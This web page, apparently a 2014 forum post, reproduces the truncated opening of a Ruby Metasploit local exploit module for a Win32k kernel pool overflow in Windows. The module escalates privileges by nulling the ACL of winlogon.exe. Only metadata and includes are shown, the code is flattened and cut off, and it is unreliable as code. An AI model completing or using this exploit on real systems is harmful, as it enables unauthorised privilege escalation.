require msf/core require msf/core/post/windows/reflective_dll_injection require rex class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post:: File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super (update_info(info, { Name => Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) , Description => %q{ A kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. Used in pwn2own 2013 by MWR to break out of chromes sandbox. NOTE : when you exit the meterpreter session, winlogon.exe is likely to crash. }, License => MSF_LICENSE , Author => [ Nils , #Original Exploit Jon , #Original Exploit Donato Capitella , # Metasploit Conversion Ben Campbell # Help and Encouragement ;) ], Arch => ARCH_X86 , Platform => win , SessionTypes => [ meterpreter ], DefaultOptions => #ShitLah-_-
Posted on: Sat, 17 May 2014 07:23:04 +0000
Trending Topics
Recently Viewed Topics
© 2015